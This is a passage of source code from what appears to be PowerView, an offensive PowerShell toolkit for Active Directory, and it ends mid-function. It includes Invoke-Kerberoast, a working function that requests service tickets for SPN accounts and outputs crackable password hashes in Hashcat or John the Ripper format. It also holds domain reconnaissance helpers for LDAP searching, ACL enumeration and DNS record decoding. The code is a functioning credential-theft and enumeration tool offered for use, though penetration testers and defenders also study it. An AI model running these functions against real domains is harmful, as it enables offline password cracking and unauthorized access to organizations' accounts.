2777 function Invoke-Kerberoast { 2778 <# 2779 .SYNOPSIS 2780 2781 Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. 2782 2783 Author: Will Schroeder (@harmj0y), @machosec 2784 License: BSD 3-Clause 2785 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket 2786 2787 .DESCRIPTION 2788 2789 Uses Get-DomainUser to query for user accounts with non-null service principle 2790 names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. 2791 The ticket format can be specified with -OutputFormat <John/Hashcat>. 2792 2793 .PARAMETER Identity 2794 2795 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 2796 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 2797 Wildcards accepted. 2798 2799 .PARAMETER Domain 2800 2801 Specifies the domain to use for the query, defaults to the current domain. 2802 2803 .PARAMETER LDAPFilter 2804 2805 Specifies an LDAP query string that is used to filter Active Directory objects. 2806 2807 .PARAMETER SearchBase 2808 2809 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 2810 Useful for OU queries. 2811 2812 .PARAMETER Server 2813 2814 Specifies an Active Directory server (domain controller) to bind to. 2815 2816 .PARAMETER SearchScope 2817 2818 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 2819 2820 .PARAMETER ResultPageSize 2821 2822 Specifies the PageSize to set for the LDAP searcher object. 2823 2824 .PARAMETER ServerTimeLimit 2825 2826 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 2827 2828 .PARAMETER Tombstone 2829 2830 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 2831 2832 .PARAMETER OutputFormat 2833 2834 Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. 2835 Defaults to 'Hashcat'. 2836 2837 .PARAMETER Credential 2838 2839 A [Management.Automation.PSCredential] object of alternate credentials 2840 for connection to the target domain. 2841 2842 .EXAMPLE 2843 2844 Invoke-Kerberoast | fl 2845 2846 Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). 2847 2848 .EXAMPLE 2849 2850 Invoke-Kerberoast -Domain dev.testlab.local | fl 2851 2852 Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR 2853 format instead of Hashcat. 2854 2855 .EXAMPLE 2856 2857 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce 2858 $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) 2859 Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl 2860 2861 Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. 2862 2863 .OUTPUTS 2864 2865 PowerView.SPNTicket 2866 2867 Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. 2868 #> 2869 2870 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 2871 [OutputType('PowerView.SPNTicket')] 2872 [CmdletBinding()] 2873 Param( 2874 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 2875 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 2876 [String[]] 2877 $Identity, 2878 2879 [ValidateNotNullOrEmpty()] 2880 [String] 2881 $Domain, 2882 2883 [ValidateNotNullOrEmpty()] 2884 [Alias('Filter')] 2885 [String] 2886 $LDAPFilter, 2887 2888 [ValidateNotNullOrEmpty()] 2889 [Alias('ADSPath')] 2890 [String] 2891 $SearchBase, 2892 2893 [ValidateNotNullOrEmpty()] 2894 [Alias('DomainController')] 2895 [String] 2896 $Server, 2897 2898 [ValidateSet('Base', 'OneLevel', 'Subtree')] 2899 [String] 2900 $SearchScope = 'Subtree', 2901 2902 [ValidateRange(1, 10000)] 2903 [Int] 2904 $ResultPageSize = 200, 2905 2906 [ValidateRange(1, 10000)] 2907 [Int] 2908 $ServerTimeLimit, 2909 2910 [Switch] 2911 $Tombstone, 2912 2913 [ValidateSet('John', 'Hashcat')] 2914 [Alias('Format')] 2915 [String] 2916 $OutputFormat = 'Hashcat', 2917 2918 [Management.Automation.PSCredential] 2919 [Management.Automation.CredentialAttribute()] 2920 $Credential = [Management.Automation.PSCredential]::Empty 2921 ) 2922 2923 BEGIN { 2924 $UserSearcherArguments = @{ 2925 'SPN' = $True 2926 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' 2927 } 2928 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } 2929 if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } 2930 if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } 2931 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } 2932 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } 2933 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 2934 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 2935 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 2936 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 2937 2938 if ($PSBoundParameters['Credential']) { 2939 $LogonToken = Invoke-UserImpersonation -Credential $Credential 2940 } 2941 } 2942 2943 PROCESS { 2944 if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } 2945 Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat 2946 } 2947 2948 END { 2949 if ($LogonToken) { 2950 Invoke-RevertToSelf -TokenHandle $LogonToken 2951 } 2952 } 2953 } 2954 2955 2956 function Get-PathAcl { 2957 <# 2958 .SYNOPSIS 2959 2960 Enumerates the ACL for a given file path. 2961 2962 Author: Will Schroeder (@harmj0y) 2963 License: BSD 3-Clause 2964 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID 2965 2966 .DESCRIPTION 2967 2968 Enumerates the ACL for a specified file/folder path, and translates 2969 the access rules for each entry into readable formats. If -Credential is passed, 2970 Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. 2971 2972 .PARAMETER Path 2973 2974 Specifies the local or remote path to enumerate the ACLs for. 2975 2976 .PARAMETER Credential 2977 2978 A [Management.Automation.PSCredential] object of alternate credentials 2979 for connection to the target path. 2980 2981 .EXAMPLE 2982 2983 Get-PathAcl "\\SERVER\Share\" 2984 2985 Returns ACLs for the given UNC share. 2986 2987 .EXAMPLE 2988 2989 gci .\test.txt | Get-PathAcl 2990 2991 .EXAMPLE 2992 2993 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 2994 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) 2995 Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred 2996 2997 .INPUTS 2998 2999 String 3000 3001 One of more paths to enumerate ACLs for. 3002 3003 .OUTPUTS 3004 3005 PowerView.FileACL 3006 3007 A custom object with the full path and associated ACL entries. 3008 3009 .LINK 3010 3011 https://support.microsoft.com/en-us/kb/305144 3012 #> 3013 3014 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3015 [OutputType('PowerView.FileACL')] 3016 [CmdletBinding()] 3017 Param( 3018 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 3019 [Alias('FullName')] 3020 [String[]] 3021 $Path, 3022 3023 [Management.Automation.PSCredential] 3024 [Management.Automation.CredentialAttribute()] 3025 $Credential = [Management.Automation.PSCredential]::Empty 3026 ) 3027 3028 BEGIN { 3029 3030 function Convert-FileRight { 3031 # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights 3032 [CmdletBinding()] 3033 Param( 3034 [Int] 3035 $FSR 3036 ) 3037 3038 $AccessMask = @{ 3039 [uint32]'0x80000000' = 'GenericRead' 3040 [uint32]'0x40000000' = 'GenericWrite' 3041 [uint32]'0x20000000' = 'GenericExecute' 3042 [uint32]'0x10000000' = 'GenericAll' 3043 [uint32]'0x02000000' = 'MaximumAllowed' 3044 [uint32]'0x01000000' = 'AccessSystemSecurity' 3045 [uint32]'0x00100000' = 'Synchronize' 3046 [uint32]'0x00080000' = 'WriteOwner' 3047 [uint32]'0x00040000' = 'WriteDAC' 3048 [uint32]'0x00020000' = 'ReadControl' 3049 [uint32]'0x00010000' = 'Delete' 3050 [uint32]'0x00000100' = 'WriteAttributes' 3051 [uint32]'0x00000080' = 'ReadAttributes' 3052 [uint32]'0x00000040' = 'DeleteChild' 3053 [uint32]'0x00000020' = 'Execute/Traverse' 3054 [uint32]'0x00000010' = 'WriteExtendedAttributes' 3055 [uint32]'0x00000008' = 'ReadExtendedAttributes' 3056 [uint32]'0x00000004' = 'AppendData/AddSubdirectory' 3057 [uint32]'0x00000002' = 'WriteData/AddFile' 3058 [uint32]'0x00000001' = 'ReadData/ListDirectory' 3059 } 3060 3061 $SimplePermissions = @{ 3062 [uint32]'0x1f01ff' = 'FullControl' 3063 [uint32]'0x0301bf' = 'Modify' 3064 [uint32]'0x0200a9' = 'ReadAndExecute' 3065 [uint32]'0x02019f' = 'ReadAndWrite' 3066 [uint32]'0x020089' = 'Read' 3067 [uint32]'0x000116' = 'Write' 3068 } 3069 3070 $Permissions = @() 3071 3072 # get simple permission 3073 $Permissions += $SimplePermissions.Keys | ForEach-Object { 3074 if (($FSR -band $_) -eq $_) { 3075 $SimplePermissions[$_] 3076 $FSR = $FSR -band (-not $_) 3077 } 3078 } 3079 3080 # get remaining extended permissions 3081 $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } 3082 ($Permissions | Where-Object {$_}) -join ',' 3083 } 3084 3085 $ConvertArguments = @{} 3086 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } 3087 3088 $MappedComputers = @{} 3089 } 3090 3091 PROCESS { 3092 ForEach ($TargetPath in $Path) { 3093 try { 3094 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { 3095 $HostComputer = (New-Object System.Uri($TargetPath)).Host 3096 if (-not $MappedComputers[$HostComputer]) { 3097 # map IPC$ to this computer if it's not already 3098 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential 3099 $MappedComputers[$HostComputer] = $True 3100 } 3101 } 3102 3103 $ACL = Get-Acl -Path $TargetPath 3104 3105 $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { 3106 $SID = $_.IdentityReference.Value 3107 $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments 3108 3109 $Out = New-Object PSObject 3110 $Out | Add-Member Noteproperty 'Path' $TargetPath 3111 $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) 3112 $Out | Add-Member Noteproperty 'IdentityReference' $Name 3113 $Out | Add-Member Noteproperty 'IdentitySID' $SID 3114 $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType 3115 $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') 3116 $Out 3117 } 3118 } 3119 catch { 3120 Write-Verbose "[Get-PathAcl] error: $_" 3121 } 3122 } 3123 } 3124 3125 END { 3126 # remove the IPC$ mappings 3127 $MappedComputers.Keys | Remove-RemoteConnection 3128 } 3129 } 3130 3131 3132 function Convert-LDAPProperty { 3133 <# 3134 .SYNOPSIS 3135 3136 Helper that converts specific LDAP property result fields and outputs 3137 a custom psobject. 3138 3139 Author: Will Schroeder (@harmj0y) 3140 License: BSD 3-Clause 3141 Required Dependencies: None 3142 3143 .DESCRIPTION 3144 3145 Converts a set of raw LDAP properties results from ADSI/LDAP searches 3146 into a proper PSObject. Used by several of the Get-Domain* function. 3147 3148 .PARAMETER Properties 3149 3150 Properties object to extract out LDAP fields for display. 3151 3152 .OUTPUTS 3153 3154 System.Management.Automation.PSCustomObject 3155 3156 A custom PSObject with LDAP hashtable properties translated. 3157 #> 3158 3159 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3160 [OutputType('System.Management.Automation.PSCustomObject')] 3161 [CmdletBinding()] 3162 Param( 3163 [Parameter(Mandatory = $True, ValueFromPipeline = $True)] 3164 [ValidateNotNullOrEmpty()] 3165 $Properties 3166 ) 3167 3168 $ObjectProperties = @{} 3169 3170 $Properties.PropertyNames | ForEach-Object { 3171 if ($_ -ne 'adspath') { 3172 if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { 3173 # convert all listed sids (i.e. if multiple are listed in sidHistory) 3174 $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } 3175 } 3176 elseif ($_ -eq 'grouptype') { 3177 $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum 3178 } 3179 elseif ($_ -eq 'samaccounttype') { 3180 $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum 3181 } 3182 elseif ($_ -eq 'objectguid') { 3183 # convert the GUID to a string 3184 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid 3185 } 3186 elseif ($_ -eq 'useraccountcontrol') { 3187 $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum 3188 } 3189 elseif ($_ -eq 'ntsecuritydescriptor') { 3190 # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 3191 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 3192 if ($Descriptor.Owner) { 3193 $ObjectProperties['Owner'] = $Descriptor.Owner 3194 } 3195 if ($Descriptor.Group) { 3196 $ObjectProperties['Group'] = $Descriptor.Group 3197 } 3198 if ($Descriptor.DiscretionaryAcl) { 3199 $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl 3200 } 3201 if ($Descriptor.SystemAcl) { 3202 $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl 3203 } 3204 } 3205 elseif ($_ -eq 'accountexpires') { 3206 if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { 3207 $ObjectProperties[$_] = "NEVER" 3208 } 3209 else { 3210 $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) 3211 } 3212 } 3213 elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { 3214 # convert timestamps 3215 if ($Properties[$_][0] -is [System.MarshalByRefObject]) { 3216 # if we have a System.__ComObject 3217 $Temp = $Properties[$_][0] 3218 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 3219 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 3220 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) 3221 } 3222 else { 3223 # otherwise just a string 3224 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) 3225 } 3226 } 3227 elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { 3228 # try to convert misc com objects 3229 $Prop = $Properties[$_] 3230 try { 3231 $Temp = $Prop[$_][0] 3232 [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 3233 [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 3234 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) 3235 } 3236 catch { 3237 Write-Verbose "[Convert-LDAPProperty] error: $_" 3238 $ObjectProperties[$_] = $Prop[$_] 3239 } 3240 } 3241 elseif ($Properties[$_].count -eq 1) { 3242 $ObjectProperties[$_] = $Properties[$_][0] 3243 } 3244 else { 3245 $ObjectProperties[$_] = $Properties[$_] 3246 } 3247 } 3248 } 3249 try { 3250 New-Object -TypeName PSObject -Property $ObjectProperties 3251 } 3252 catch { 3253 Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" 3254 } 3255 } 3256 3257 3258 ######################################################## 3259 # 3260 # Domain info functions below. 3261 # 3262 ######################################################## 3263 3264 function Get-DomainSearcher { 3265 <# 3266 .SYNOPSIS 3267 3268 Helper used by various functions that builds a custom AD searcher object. 3269 3270 Author: Will Schroeder (@harmj0y) 3271 License: BSD 3-Clause 3272 Required Dependencies: Get-Domain 3273 3274 .DESCRIPTION 3275 3276 Takes a given domain and a number of customizations and returns a 3277 System.DirectoryServices.DirectorySearcher object. This function is used 3278 heavily by other LDAP/ADSI searcher functions (Verb-Domain*). 3279 3280 .PARAMETER Domain 3281 3282 Specifies the domain to use for the query, defaults to the current domain. 3283 3284 .PARAMETER LDAPFilter 3285 3286 Specifies an LDAP query string that is used to filter Active Directory objects. 3287 3288 .PARAMETER Properties 3289 3290 Specifies the properties of the output object to retrieve from the server. 3291 3292 .PARAMETER SearchBase 3293 3294 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 3295 Useful for OU queries. 3296 3297 .PARAMETER SearchBasePrefix 3298 3299 Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). 3300 3301 .PARAMETER Server 3302 3303 Specifies an Active Directory server (domain controller) to bind to for the search. 3304 3305 .PARAMETER SearchScope 3306 3307 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 3308 3309 .PARAMETER ResultPageSize 3310 3311 Specifies the PageSize to set for the LDAP searcher object. 3312 3313 .PARAMETER ResultPageSize 3314 3315 Specifies the PageSize to set for the LDAP searcher object. 3316 3317 .PARAMETER ServerTimeLimit 3318 3319 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 3320 3321 .PARAMETER SecurityMasks 3322 3323 Specifies an option for examining security information of a directory object. 3324 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 3325 3326 .PARAMETER Tombstone 3327 3328 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 3329 3330 .PARAMETER Credential 3331 3332 A [Management.Automation.PSCredential] object of alternate credentials 3333 for connection to the target domain. 3334 3335 .EXAMPLE 3336 3337 Get-DomainSearcher -Domain testlab.local 3338 3339 Return a searcher for all objects in testlab.local. 3340 3341 .EXAMPLE 3342 3343 Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' 3344 3345 Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. 3346 3347 .EXAMPLE 3348 3349 Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" 3350 3351 Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). 3352 3353 .OUTPUTS 3354 3355 System.DirectoryServices.DirectorySearcher 3356 #> 3357 3358 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3359 [OutputType('System.DirectoryServices.DirectorySearcher')] 3360 [CmdletBinding()] 3361 Param( 3362 [Parameter(ValueFromPipeline = $True)] 3363 [ValidateNotNullOrEmpty()] 3364 [String] 3365 $Domain, 3366 3367 [ValidateNotNullOrEmpty()] 3368 [Alias('Filter')] 3369 [String] 3370 $LDAPFilter, 3371 3372 [ValidateNotNullOrEmpty()] 3373 [String[]] 3374 $Properties, 3375 3376 [ValidateNotNullOrEmpty()] 3377 [Alias('ADSPath')] 3378 [String] 3379 $SearchBase, 3380 3381 [ValidateNotNullOrEmpty()] 3382 [String] 3383 $SearchBasePrefix, 3384 3385 [ValidateNotNullOrEmpty()] 3386 [Alias('DomainController')] 3387 [String] 3388 $Server, 3389 3390 [ValidateSet('Base', 'OneLevel', 'Subtree')] 3391 [String] 3392 $SearchScope = 'Subtree', 3393 3394 [ValidateRange(1, 10000)] 3395 [Int] 3396 $ResultPageSize = 200, 3397 3398 [ValidateRange(1, 10000)] 3399 [Int] 3400 $ServerTimeLimit = 120, 3401 3402 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 3403 [String] 3404 $SecurityMasks, 3405 3406 [Switch] 3407 $Tombstone, 3408 3409 [Management.Automation.PSCredential] 3410 [Management.Automation.CredentialAttribute()] 3411 $Credential = [Management.Automation.PSCredential]::Empty 3412 ) 3413 3414 PROCESS { 3415 if ($PSBoundParameters['Domain']) { 3416 $TargetDomain = $Domain 3417 3418 if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { 3419 # see if we can grab the user DNS logon domain from environment variables 3420 $UserDomain = $ENV:USERDNSDOMAIN 3421 if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { 3422 $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" 3423 } 3424 } 3425 } 3426 elseif ($PSBoundParameters['Credential']) { 3427 # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain 3428 $DomainObject = Get-Domain -Credential $Credential 3429 $BindServer = ($DomainObject.PdcRoleOwner).Name 3430 $TargetDomain = $DomainObject.Name 3431 } 3432 elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { 3433 # see if we can grab the user DNS logon domain from environment variables 3434 $TargetDomain = $ENV:USERDNSDOMAIN 3435 if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { 3436 $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" 3437 } 3438 } 3439 else { 3440 # otherwise, resort to Get-Domain to retrieve the current domain object 3441 write-verbose "get-domain" 3442 $DomainObject = Get-Domain 3443 $BindServer = ($DomainObject.PdcRoleOwner).Name 3444 $TargetDomain = $DomainObject.Name 3445 } 3446 3447 if ($PSBoundParameters['Server']) { 3448 # if there's not a specified server to bind to, try to pull a logon server from ENV variables 3449 $BindServer = $Server 3450 } 3451 3452 $SearchString = 'LDAP://' 3453 3454 if ($BindServer -and ($BindServer.Trim() -ne '')) { 3455 $SearchString += $BindServer 3456 if ($TargetDomain) { 3457 $SearchString += '/' 3458 } 3459 } 3460 3461 if ($PSBoundParameters['SearchBasePrefix']) { 3462 $SearchString += $SearchBasePrefix + ',' 3463 } 3464 3465 if ($PSBoundParameters['SearchBase']) { 3466 if ($SearchBase -Match '^GC://') { 3467 # if we're searching the global catalog, get the path in the right format 3468 $DN = $SearchBase.ToUpper().Trim('/') 3469 $SearchString = '' 3470 } 3471 else { 3472 if ($SearchBase -match '^LDAP://') { 3473 if ($SearchBase -match "LDAP://.+/.+") { 3474 $SearchString = '' 3475 $DN = $SearchBase 3476 } 3477 else { 3478 $DN = $SearchBase.SubString(7) 3479 } 3480 } 3481 else { 3482 $DN = $SearchBase 3483 } 3484 } 3485 } 3486 else { 3487 # transform the target domain name into a distinguishedName if an ADS search base is not specified 3488 if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { 3489 $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" 3490 } 3491 } 3492 3493 $SearchString += $DN 3494 Write-Verbose "[Get-DomainSearcher] search base: $SearchString" 3495 3496 if ($Credential -ne [Management.Automation.PSCredential]::Empty) { 3497 Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" 3498 # bind to the inital search object using alternate credentials 3499 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) 3500 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) 3501 } 3502 else { 3503 # bind to the inital object using the current credentials 3504 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) 3505 } 3506 3507 $Searcher.PageSize = $ResultPageSize 3508 $Searcher.SearchScope = $SearchScope 3509 $Searcher.CacheResults = $False 3510 $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All 3511 3512 if ($PSBoundParameters['ServerTimeLimit']) { 3513 $Searcher.ServerTimeLimit = $ServerTimeLimit 3514 } 3515 3516 if ($PSBoundParameters['Tombstone']) { 3517 $Searcher.Tombstone = $True 3518 } 3519 3520 if ($PSBoundParameters['LDAPFilter']) { 3521 $Searcher.filter = $LDAPFilter 3522 } 3523 3524 if ($PSBoundParameters['SecurityMasks']) { 3525 $Searcher.SecurityMasks = Switch ($SecurityMasks) { 3526 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 3527 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 3528 'None' { [System.DirectoryServices.SecurityMasks]::None } 3529 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 3530 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } 3531 } 3532 } 3533 3534 if ($PSBoundParameters['Properties']) { 3535 # handle an array of properties to load w/ the possibility of comma-separated strings 3536 $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } 3537 $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) 3538 } 3539 3540 $Searcher 3541 } 3542 } 3543 3544 3545 function Convert-DNSRecord { 3546 <# 3547 .SYNOPSIS 3548 3549 Helpers that decodes a binary DNS record blob. 3550 3551 Author: Michael B. Smith, Will Schroeder (@harmj0y) 3552 License: BSD 3-Clause 3553 Required Dependencies: None 3554 3555 .DESCRIPTION 3556 3557 Decodes a binary blob representing an Active Directory DNS entry. 3558 Used by Get-DomainDNSRecord. 3559 3560 Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 3561 3562 .PARAMETER DNSRecord 3563 3564 A byte array representing the DNS record. 3565 3566 .OUTPUTS 3567 3568 System.Management.Automation.PSCustomObject 3569 3570 Outputs custom PSObjects with detailed information about the DNS record entry. 3571 3572 .LINK 3573 3574 https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 3575 #> 3576 3577 [OutputType('System.Management.Automation.PSCustomObject')] 3578 [CmdletBinding()] 3579 Param( 3580 [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 3581 [Byte[]] 3582 $DNSRecord 3583 ) 3584 3585 BEGIN { 3586 function Get-Name { 3587 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] 3588 [CmdletBinding()] 3589 Param( 3590 [Byte[]] 3591 $Raw 3592 ) 3593 3594 [Int]$Length = $Raw[0] 3595 [Int]$Segments = $Raw[1] 3596 [Int]$Index = 2 3597 [String]$Name = '' 3598 3599 while ($Segments-- -gt 0) 3600 { 3601 [Int]$SegmentLength = $Raw[$Index++] 3602 while ($SegmentLength-- -gt 0) { 3603 $Name += [Char]$Raw[$Index++] 3604 } 3605 $Name += "." 3606 } 3607 $Name 3608 } 3609 } 3610 3611 PROCESS { 3612 # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) 3613 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) 3614 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) 3615 3616 $TTLRaw = $DNSRecord[12..15] 3617 3618 # reverse for big endian 3619 $Null = [array]::Reverse($TTLRaw) 3620 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) 3621 3622 $Age = [BitConverter]::ToUInt32($DNSRecord, 20) 3623 if ($Age -ne 0) { 3624 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() 3625 } 3626 else { 3627 $TimeStamp = '[static]' 3628 } 3629 3630 $DNSRecordObject = New-Object PSObject 3631 3632 if ($RDataType -eq 1) { 3633 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] 3634 $Data = $IP 3635 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' 3636 } 3637 3638 elseif ($RDataType -eq 2) { 3639 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] 3640 $Data = $NSName 3641 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' 3642 } 3643 3644 elseif ($RDataType -eq 5) { 3645 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] 3646 $Data = $Alias 3647 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' 3648 } 3649 3650 elseif ($RDataType -eq 6) { 3651 # TODO: how to implement properly? nested object? 3652 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3653 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' 3654 } 3655 3656 elseif ($RDataType -eq 12) { 3657 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] 3658 $Data = $Ptr 3659 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' 3660 } 3661 3662 elseif ($RDataType -eq 13) { 3663 # TODO: how to implement properly? nested object? 3664 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) 3665 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' 3666 } 3667 3668 elseif ($RDataType -eq 15) { 3669 # TODO: how to implement 